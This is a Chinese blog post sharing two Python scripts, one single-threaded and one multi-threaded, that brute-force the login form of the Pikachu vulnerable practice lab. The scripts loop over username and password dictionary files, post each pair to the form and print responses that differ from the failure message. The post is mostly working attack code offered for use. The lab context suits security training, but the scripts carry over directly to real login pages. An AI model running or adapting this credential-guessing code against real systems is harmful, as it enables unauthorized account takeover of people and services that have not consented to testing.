渗透工具----暴破脚本

功能:实现pikachu靶场爆破试验

基础暴破

import requests
from bs4 import BeautifulSoup
import time
def request_url(name,password):
    url='http://192.168.186.135/pikachu/vul/burteforce/bf_form.php'
    headers={
        "Connection":"keep-alive",
        "Content-Type":"application/x-www-form-urlencoded",
        "Cookie":"PHPSESSID=79blo8vag0ce1vu66hi930e3d7",
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0"
    }
    data={
        "username":f'{name}',
        "password":f'{password}',
        "submit":"Login"
    }
    xiangying = requests.post(url, data, headers=headers)
    return data,xiangying

def pipei(yuanma,data):
    # 创建BeautifulSoup对象
    bs = BeautifulSoup(yuanma.text, 'html.parser')
    # 获取登录成功或失败的标识性字符
    labble = bs.find_all('p')
    for i in labble:
        labble_str = i.text.strip()
        if labble_str != 'username or password is not exists~':
            print(f'{labble_str},username:{data["username"]},password:{data["password"]}')

# 传入用户名和密码字典
time1=time.time()
with open('C:\\Users\bigboss\Desktop\数据保存.txt','r+') as username_f:
    while True:
        username=username_f.readline().strip()
        with open('C:\\Users\bigboss\Desktop\密码.txt','r+') as password_f:
            while True:
                password=password_f.readline().strip()
                if not password:
                    break
                data,response=request_url(username, password)
                # print(data)
                pipei(response, data)
        if not username:
            break
time2=time.time()
print(time2-time1)

多线程

import requests
from bs4 import BeautifulSoup
from threading import Thread
from queue import Queue
import time
def request_url(name,password):
    global c
    url='http://192.168.186.135/pikachu/vul/burteforce/bf_form.php'
    headers={
        "Connection":"keep-alive",
        "Content-Type":"application/x-www-form-urlencoded",
        "Cookie":"PHPSESSID=79blo8vag0ce1vu66hi930e3d7",
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0"
    }
    data={
        "username":f'{name}',
        "password":f'{password}',
        "submit":"Login"
    }
    c.put((url,headers,data))

def pipei(yuanma,data):
    # 创建BeautifulSoup对象
    bs = BeautifulSoup(yuanma.text, 'html.parser')
    # 获取登录成功或失败的标识性字符
    labble = bs.find_all('p')
    for i in labble:
        labble_str = i.text.strip()
        if labble_str != 'username or password is not exists~':
            print(f'{labble_str},username:{data["username"]},password:{data["password"]}')
def qu():
    global c
    while True:
        pack=c.get()
        xiangying=requests.post(url=pack[0],headers=pack[1],data=pack[2])
        pipei(xiangying,pack[2])
        c.task_done()

# 变成多线程
c = Queue()
#
# request_url('123','123')
# qu()


# 传入用户名和密码字典
time1=time.time()
with open('C:\\Users\TangL\Desktop\数据保存.txt','r+') as username_f:
    while True:
        username=username_f.readline().strip()
        with open('C:\\Users\TangL\Desktop\密码.txt','r+') as password_f:
            while True:
                password=password_f.readline().strip()
                if not password:
                    break
                job1 = Thread(target=request_url, args=(username, password),daemon=True)
                job1.start()
        if not username:
            break
work=[]
for i in range(0,10):
    job2=Thread(target=qu,daemon=True)
    work.append(job2)
for j in work:
    j.start()
# print(data)
c.join()
time2=time.time()
print(time2-time1)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值